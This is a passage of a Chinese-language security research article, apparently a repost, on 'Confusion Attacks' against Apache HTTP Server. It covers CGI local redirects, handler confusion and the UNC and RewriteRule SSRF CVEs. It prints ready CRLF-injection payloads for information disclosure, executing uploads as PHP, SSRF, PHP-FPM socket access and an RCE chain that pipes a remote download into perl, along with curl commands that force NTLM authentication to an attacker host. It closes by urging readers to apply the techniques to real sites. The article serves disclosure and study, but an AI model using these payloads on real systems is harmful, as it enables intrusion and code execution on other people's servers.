我们找了RFC 3875来当救援投手!RFC 3875 是一个关于CGI 的规范,其中6.2.2. 节定义了一个Local Redirect Response 行为:

The CGI script can return a URI path and query-string ('local-pathquery') for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.

简单来说规范了CGI 在特定条件下必须使用服务器端的资源去处理重定向,仔细检视 mod_cgi 对于这个规范的实作会发现:

Path: modules/generators/mod_cgi.c#L983

if ((ret = ap_scan_script_header_err_brigade_ex(r, bb, sbuf,          // <------ [1]
                                                    APLOG_MODULE_INDEX)))
    {
        ret = log_script(r, conf, ret, dbuf, sbuf, bb, script_err);

        // [...]

        if (ret == HTTP_NOT_MODIFIED) {
            r->status = ret;
            return OK;
        }

        return ret;
    }

    location = apr_table_get(r->headers_out, "Location");

    if (location && r->status == 200) {
        // [...]
    }

    if (location && location[0] == '/' && r->status == 200) {          // <------ [2]
        /* This redirect needs to be a GET no matter what the original
         * method was.
         */
        r->method = "GET";
        r->method_number = M_GET;

        /* We already read the message body (if any), so don't allow
         * the redirected request to think it has one.  We can ignore
         * Transfer-Encoding, since we used REQUEST_CHUNKED_ERROR.
         */
        apr_table_unset(r->headers_in, "Content-Length");

        ap_internal_redirect_handler(location, r);                     // <------ [3]
        return OK;
    }

首先 mod_cgi 会先执行CGI 并扫描其输出结果并设置上相对应的 Status 以及 Content-Type ,如果回传的 Status 是200 以及 Location 标头字段是 / 开头则把这个响应当成一个服务器端的重定向并开始处理。再仔细审视 ap_internal_redirect_handler() 的实作会发现:

Path: modules/http/http_request.c#L800

AP_DECLARE(void) ap_internal_redirect_handler(const char *new_uri, request_rec *r)
{
    int access_status;
    request_rec *new = internal_internal_redirect(new_uri, r);    // <------ [1]

    /* ap_die was already called, if an error occured */
    if (!new) {
        return;
    }

    if (r->handler)
        ap_set_content_type(new, r->content_type);                // <------ [2]
    access_status = ap_process_request_internal(new);             // <------ [3]
    if (access_status == OK) {
        access_status = ap_invoke_handler(new);                   // <------ [4]
    }
    ap_die(access_status, new);
}

Httpd 首先创建了一个新的请求结构并将当前的 r->content_type 复进去,在处完生命周期后调用 ap_invoke_handler() —— 也就是前面提及包含历史遗留转换的地方,所以 在服务器端重定向中,如果可以控制响应标头,就可以在Httpd 中调用任意的模块处理器。 基本上所有Apache HTTP Server 中的CGI 系列实作都遵守这个行为,这里是一个简单的列表:

  • mod_cgi
  • mod_cgid
  • mod_wsgi
  • mod_uwsgi
  • mod_fastcgi
  • mod_perl
  • mod_asis
  • mod_fcgid
  • mod_proxy_scgi

至于如何在真实情境中触发这个服务器重定向呢?由于至少需要控制HTTP 响应中 Content-Type 及部分 Location ,这里给出两个情境以供参考:

  1. 位于CGI 响应标头中的CRLF Injection,通过换行去覆写已存在的HTTP 标头
  2. 可完整控制响应标头的SSRF,例如托管在 mod_wsgi 上的django-revproxy项目

接下来的范例都基于这个不安全的CRLF Injection 来做示范:

#!/usr/bin/perl 
 
use CGI;
my $q = CGI->new;
my $redir = $q->param("r");
if ($redir =~ m{^https?://}) {
    print "Location: $redir\n";
}
print "Content-Type: text/html\n\n";
✔️ 3-2-1. Arbitrary Handler to Information Disclosure

首先是从任意模块处理器调用到信息泄漏,这里使用了Httpd 内建的 server-status 模块处理器,这个模块处理器通常只被允许从本机存取:

<Location /server-status>
    SetHandler server-status
    Require local
</Location>

在拥有任意模块处理器调用后,可以通过复写 Content-Type 去存取原本存取不到的敏感信息:

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a

✔️ 3-2-2. Arbitrary Handler to Misinterpret Scripts

当然也能轻松的把一张图片转化成PHP 后门,例如当使用者上传了一个拥有合法后缀名的文件后,可以通过这个攻击手法指定特定模块 mod_php 去执行文件内嵌的恶意程序代码,例如:

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/uploads/avatar.webp %0d%0a
Content-Type:application/x-httpd-php %0d% 0a
%0d%0a

✔️ 3-2-2. Arbitrary Handler to Full SSRF

调用 mod_proxy 存取任何协议以及任意网址当然也不在话下,例如:

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:http://example.com/%3f %0d %0a
%0d%0a

另外这也是一个可以完整控制HTTP 请求还有取得所有HTTP 响应的SSRF!稍微可惜的一点是在存取Cloud Metadata 时会被 mod_proxy 会自动加上 X-Forwarded-For 标头导致被EC2 及GCP 的Metadata 保护机制阻挡,否则这会是一个更强大的攻击手法。

✔️ 3-2-3. Arbitrary Handler to Access Local Unix Domain Socket

然而 mod_proxy 提供了一个更「方便」的功能—— 可以存取本地的Unix Domain Socket!😉

这里展示通过存取PHP-FPM 本地的Unix Domain Socket 去执行位于 /tmp/ 下的PHP 后门:

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock |fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a

这个手法理论上还存在着更多的可能性,例如协议走私(在HTTP/HTTPS 协议间走私FastCGI 😏) 或其它易受影响的Local Sockets 等,这都交给有兴趣的人继续研究了。

✔️ 3-2-4. Arbitrary Handler to RCE

最后来展示一下如何通过一个常见的CTF 小技巧把这个攻击手法转化成RCE!由于PHP 官方的Docker镜像在建构时引入了PEAR 这套命令列PHP 套件管理工具,通过其中的 Pearcmd.php 作为入口点可以让我们达成更进一步的利用,详细的历史及原理可以参考由Phith0n撰写的Docker PHP LFI 总结文。

这里我们利用在 run-tests 内的Command Injection 来完成整个攻击链,详细的攻击链如下:

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw /x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd .php %0d%0a
%0d%0a

在安全公告或漏洞赏金计划中,CRLF 注入或标头注入被报告为 XSS 是很常见的。虽然这些漏洞有时会引发影响深远的漏洞,例如通过 SSO 进行的帐户接管,但请不要忘记它们也可能导致服务器端 RCE,因为此演示证明了其潜力!

🔥 4. 其它漏洞

基本上整个Confusion Attacks 系列到这边差不多告一个段落,然而在研究Apache HTTP Server 的过程中还有些值得一提的漏洞因此将它们独立出来。

⚔️ CVE-2024-38472 - 基于Windows UNC 的SSRF

首先是 apr_filepath_merge() 函数在Windows 的实作允许使用UNC 路径,下面提供两种不同的触发路径让攻击者可以向任意主机发起NTLM 认证:

✔️ 通过HTTP 请求解析器触发

想要直接通过HTTP 请求触发需要在Httpd 中设置额外的配置,虽然这个配置第一眼看起来有点不现实,但似乎经常与Tomcat ( mod_jkmod_proxy_ajp ) 或是与PATH_INFO一起出现:

AllowEncodedSlashes On

另外由于Httpd 在2.4.49 后重写了核心HTTP 请求解析器逻辑,要在大于此版本的Httpd 上触发漏洞需要再额外加上一个配置:

AllowEncodedSlashes On
MergeSlashes Off

通过两个 %5C 可以使强迫Httpd 向 attacker-server 发起NTLM 认证,实务上也可通过NTLM Relay的方式将此SSRF 转化成RCE!

$ curl http://server/%5C%5Cattacker-server/path/to

✔️ 通过Type-Map 触发

Debian/Ubuntu 的Httpd 发行版中预设启用了Type-Map:

AddHandler type-map var

通过上传一个 .var文件 到服务器,将其中URI 字段指定成UNC 路径也可强迫服务器向攻击者发起NTLM 认证,这也是我所提出的第二个 .var 小技巧😉

⚔️ CVE-2024-39573 - 基于RewriteRule前缀可完全控制的SSRF

最后则是当位于 Server Config 或是 VirtualHost 中的 RewriteRule 前缀完全可控时,可以调用到Proxy 以及相关子模块:

RewriteRule ^/broken(.*) $1

通过下列网址可将请求转交给 mod_proxy 处理:

$ curl http://server/brokenproxy:unix:/run/[...]|http://path/to

但如果网管有好好测试,就会发现这样子的规则是不实际的,所以原本只把它当成另外一个漏洞的搭配组合一起回报,没想到这个行为也被当成一个安全边界修复。再随着修补出来后也看到其他研究员把同样行为套用在Windows UNC 上获得另外一个额外的CVE。

未来研究方向

最后是关于这份研究的未来的一些展望以及可加强的地方,基本上Confusion Attacks 仍然是一个很有潜力的攻击面,尤其是我这次的研究主要也只专注在两个字段上而已,只要Apache HTTP Server 没有好好从底层进行结构性加强或提供给开发者一个好的开发标准,相信未来还会有更多「混淆」出现!

至于还有哪些方面可以加强呢?其实不同的Httpd 发行版会有不同的配置,因此其它的Unix-Like 系统例如RHEL 家族、BSD 系列,甚至使用到Httpd 的套装软体,它们都有机会出现更多可跳脱的重写规则、更多厉害的Local Gadgets 甚至意料外的符号跳跃等等,就交给有兴趣的人继续吧。

最后由于时程因素,来不及分享更多在实际网站、设备,甚至开源项目上发现并利用的真实案例,不过你应该已经可以想像—— 在真实世界中绝对还藏着千千万万个比想像中还要大量未开采的规则、可绕过的认证,以及隐藏在台面下的CGI,至于如何把这篇里面所讲到的技巧实际应用在全世界上?接下来就是你们的任务了!

结语

维护一个Open Source 项目真的是一件很困难的事,尤其在让使用者方便的同时兼顾旧版本的相容性,稍有不慎可能就会造成整个系统被攻破(例如Httpd 2.4.49 中因为一个路径处理逻辑小改动导致灾难性的CVE-2021-41773),整个开发过程必须要小心翼翼的踩在一堆遗留程序代码以及技术债上。所以如果真的有Apache HTTP Server 的开发者看到这篇文我想说:谢谢你们的贡献!

相关链接:

https://i.blackhat.com/BH-US-24/Presentations/US24-Orange-Confusion-Attacks-Exploiting-Hidden-Semantic-Thursday.pdf
https://www.akamai.com/blog/security-research/2024-august-apache-waf-proactive-collaboration-orange-tsai-devcore
https://devco.re/blog/2024/08/09/confusion-attacks-exploiting-hidden-semantic-ambiguity-in-apache-http-server/#%E6%95%85%E4%BA%8B%E6%98%AF%E5%A6%82%E4%BD%95%E9%96%8B%E5%A7%8B%E7%9A%84
https://httpd.apache.org/security/vulnerabilities_24.html
https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141
https://httpd.apache.org/docs/2.4/rewrite/flags.html
https://github.com/php/php-src/blob/ce51bfac759dedac1537f4d5666dcd33fbc4a281/sapi/fpm/fpm/fpm_main.c#L1044
https://github.com/apache/httpd/blob/c3ad18b7ee32da93eabaae7b94541d3c32264340/modules/mappers/mod_rewrite.c#L4939
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
https://github.com/orangetw/My-CTF-Web-Challenges?tab=readme-ov-file#ostyle
https://en.hackndo.com/ntlm-relay/
https://httpd.apache.org/docs/2.4/en/mod/core.html#allowencodedslashes
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html
https://x.com/phithon_xg
https://hub.docker.com/_/php
https://cloud.google.com/compute/docs/metadata/querying-metadata?hl=zh-cn#limitations
https://django-revproxy.readthedocs.io/en/latest/
https://github.com/apache/httpd/blob/2.4.58/modules/http/http_request.c#L800
https://github.com/apache/httpd/blob/2.4.58/modules/generators/mod_cgi.c#L983
https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2
https://datatracker.ietf.org/doc/html/rfc3875
https://github.com/owasp-modsecurity/ModSecurity/issues/2514
https://github.com/apache/httpd/commit/3303dc4f7273e05ea9a80402b33f68cd155c146a
https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf
https://github.com/apache/httpd/blob/2.4.58/server/config.c#L420
https://svn.apache.org/repos/asf/httpd/httpd/branches/1.3.x/src/main/http_config.c
https://httpd.apache.org/docs/current/mod/core.html#options
https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L160
https://github.com/vulhub/vulhub/tree/master/phpunit/CVE-2017-9841
https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165
https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115
https://httpd.apache.org/docs/current/rewrite/remapping.html#rewrite-query
相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2